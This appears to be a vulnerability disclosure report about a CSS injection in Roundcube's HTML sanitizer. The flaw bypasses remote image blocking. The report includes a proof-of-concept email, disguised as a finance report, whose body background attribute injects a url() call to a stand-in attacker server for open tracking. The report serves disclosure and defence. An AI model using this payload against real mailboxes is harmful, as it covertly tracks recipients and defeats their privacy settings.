Nextcloud · Report #3590583
Unquoted body background attribute enables CSS injection that bypasses remote image blocking
How it was found
When allow_remote is set to false, Roundcube's HTML sanitizer rcube_washtml blocks external resources in image-loading attributes by checking their values through wash_uri().
The body callback in index.php washtml_callback() processes the background attribute from the email's <body> element and constructs an inline CSS background-image: url(VALUE) on the output container <div>. The VALUE is inserted into the url() function without quoting. Although VALUE passes through wash_uri() first (which allows data:image/* URIs), a crafted data: URI containing ) terminates the url() function early, allowing injection of arbitrary CSS properties into the container's inline style.
Because the injected CSS is inline style on the container <div> (not inside a <style> block), it completely bypasses the mod_css_styles() URL callback — meaning injected background:url(//evil.com) or border-image:url(//evil.com) loads external resources even when allow_remote=false.
Steps To Reproduce
Step 1: Remote resource loading bypass
Send an HTML email with the following body:
<!DOCTYPE html>
<html>
<head><title>Quarterly Report</title></head>
<body background="data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]">
<h1>Q4 Financial Summary</h1>
<p>Dear team,</p>
<p>Please find attached the quarterly financial report.</p>
<p>Best regards,<br>Finance Department</p>
</body>
</html>
Step 2: Open the email in Roundcube with "Block remote images" enabled.
Step 3: Observe HTTP request to ATTACKER_SERVER/[email protected] in attacker's server logs.
Step 4: Inspect the rendered HTML
The sanitizer produces this inline style on the body container <div>:
background-image: url(data:image/png,x);background:url(//ATTACKER_SERVER/[email protected])
The ) in data:image/png,x) closes the original url(), and everything after is parsed as additional CSS properties.
Impact
email open tracking